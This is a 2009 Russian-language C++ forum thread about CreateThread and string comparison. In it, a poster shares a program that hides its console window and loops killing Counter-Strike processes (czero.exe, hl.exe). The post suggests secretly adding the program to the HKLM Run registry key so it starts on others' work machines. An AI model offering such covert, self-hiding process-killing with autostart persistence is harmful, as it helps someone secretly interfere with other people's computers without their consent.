Форум программистов, компьютерный форум CyberForum.ru

Кто-нибудь создаёт потоки как в MSDN? - C++

Войти
Регистрация
Восстановить пароль
Другие темы раздела
C++ надо реализивать поиск С++ http://www.cyberforum.ru/cpp-beginners/thread34511.html
помогите пожалуйста с прогой надо организовать поиск по некоторому критерию.Инфу должно запрашивать с файла Вот некоторsе мои наброски,а как реализовать посик по любому слову из файла я не понимаю.Заранее спасибочки. извините,не туда занесло #include<iostream.h> #include<fstream.h> #include<conio.h> #include<ctype.h> #include<stdlib.h> void main ()
C++ матрица,масив,строки Подскажите хотя бы часть кода..............Пожалуйста. 1.как все положительные елементи масива кроме максимального занести в другой масив???А то я даже не представляю с какой стороны братся,Спасибо заранее. 2.как в матрице поменять местами некоторые елементи (например <1 на максимальные) 3. Как в приложении запретить перносить слова на новую строчку,т.е. нужно написать програму,которая... http://www.cyberforum.ru/cpp-beginners/thread34509.html
Класс для работы со списком C++
разработать класс для работы со списком, включив в него конструктор, деструктор и методы для создания и просмотра элементов списка, а также : Создать список, в информационной части элементов которого нахо-дятся координаты вершин многоугольника плоскости. Определить, находит-ся ли точка с заданными координатами на одной из сторон многоугольника Некоторые моменты понимаю, но как сделать всё...
C++ Ханойская башня
Ханойская башня является одной из популярных головоломок XIX века. Даны три стержня, на один из которых нанизаны восемь колец, причем кольца отличаются размером и лежат меньшее на большем. Задача состоит в том, чтобы перенести пирамиду из восьми колец за наименьшее число ходов. За один раз разрешается переносить только одно кольцо, причём нельзя класть большее кольцо на меньшее....
C++ Нужно доработать задачку на двумерные массивы. http://www.cyberforum.ru/cpp-beginners/thread34493.html
#include <iostream> using namespace std; int main () { int desk={0}; int sx,sy; int x,y; cout<<"enter the position Slon:\n"; cin>>sx; cin>>sy; sx=sx-1;
C++ Поясните с кодировкой\локалью при программирование на C++\QT Поясните пару моментов с кодировкой при программирование на QT\C++ Есть кубунту, с дефолтной локалью UTF-8. 1) Правильно ли я понял, внутри тип QString представляем символы в UTF-32 ? 2) Как правильно осуществить запись текста в файл из QTextEdit в кодировке, текущей для ОС. Как пример, я делаю: подробнее

Показать сообщение отдельно
ZLOI
0 / 0 / 0
Регистрация: 17.05.2009
Сообщений: 7
18.05.2009, 05:52  [ТС]     Кто-нибудь создаёт потоки как в MSDN?
Цитата Сообщение от alex_x_x Посмотреть сообщение
ZLOI, сделай явное преобразование
C++
1
2
3
4
5
6
7
hThread = CreateThread( 
            NULL,              
            0,                 
            (LPTHREAD_START_ROUTINE)KillCS,        
            0,             
            0,                 
            &dwThreadId);
Спасибо, вчера тоже дошёл, работает.
Цитата Сообщение от alex_x_x Посмотреть сообщение
C++
1
if(0==wcscmp(Entry.szExeFile,L"czero.exe"))
Нет меня интересовало именно без функций дополнительных.
Взял и сравнил какую-нибудь "строку" с переменной.
Типа
C++
1
if (a=="Hello World?")
Добавлено через 3 минуты 34 секунды
Цитата Сообщение от Rififi Посмотреть сообщение
ZLOI,
разве это гибко вставлять такие ограничения.
Зачем они нужны?

это называется жесткой типизацией.
Чтобы код у всех был одинаковый?
Цитата Сообщение от Rififi Посмотреть сообщение
Объясните почему не сравниваются строки?
потому что в C/C++ строк нет.
Ну понято, что char* это ссылка, но на строку же... ну хорошо на массив символов
А массив символов называется строкой.

Добавлено через 13 минут 17 секунд
Кстати, программу написал, проверена в полевых условиях. Если хотите,
чтобы у Вас на работе не играли в Counter-Strike, то в тихушку пропишите в реестре по адресу
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run новую строковую переменную с адресом программы, лучше конечно переделать под сетевую версию, но на моей кафедре так не получится, сервак постоянно выключен:
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
// ANTIHL.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#include <stdlib.h>
#include <cstdio>
#include <string.h>
#include <process.h>
#include <stddef.h>
#include <wincon.h>
 
void KillCS(void)
{
    while(1==1)
    {
    HANDLE hSnapshot;
    PROCESSENTRY32 Entry;
    Entry.dwFlags = sizeof( PROCESSENTRY32 );
 
     // создаем моментальный снимок
    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    // получаем информацию о первом процессе
    Entry.dwSize = sizeof(Entry);
    // перечисляем остальные процессы и уничтожаем неугодные
    do
    {    
        if ((wcscmp(Entry.szExeFile,L"czero.exe")==0)||(wcscmp(Entry.szExeFile,L"hl.exe")==0))
            TerminateProcess(OpenProcess(PROCESS_ALL_ACCESS,true,Entry.th32ProcessID),0);
    }
    while (Process32Next(hSnapshot, &Entry));
 
    CloseHandle(hSnapshot);
    }
    
}
 
 
int _tmain(int argc, _TCHAR* argv[])
{
    //Устанавливаем низкий приоритет текущему процессу
    SetPriorityClass(GetCurrentProcess(),IDLE_PRIORITY_CLASS);
    
    //Создаём поток, который будет убивать Counter-strike
    DWORD dwThreadId;
    HANDLE hThread; 
    hThread = CreateThread( 
    NULL,              
    0,                 
    (LPTHREAD_START_ROUTINE)KillCS,        
    0,             
    0,                 
    &dwThreadId);   
    
    //Объявляем ВАЖНУЮ функцию, которой нет в чёртовом MVS
    typedef HWND (WINAPI *GetConsoleWindowT)(void);
    HMODULE hk32 = GetModuleHandle(L"kernel32.dll");
    GetConsoleWindowT GetConsoleWindow = (GetConsoleWindowT)GetProcAddress(hk32,"GetConsoleWindow");
    HWND hConsole = GetConsoleWindow();
 
    //Скрываем наше консольное приложение
    ShowWindow(GetConsoleWindow(),SW_HIDE);
    
    //Ставим самый низкий приоритет для потока
    SetThreadPriority(hThread,THREAD_PRIORITY_LOWEST);
 
    //Ожидаем завершение потока
    WaitForMultipleObjects(1, &hThread, TRUE, INFINITE);
 
    //Возвращаем 0 :)
    return 0;
}
//Автор: Устинов Юрий или ZLOI
 
Текущее время: 05:15. Часовой пояс GMT +3.
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2017, vBulletin Solutions, Inc.
Рейтинг@Mail.ru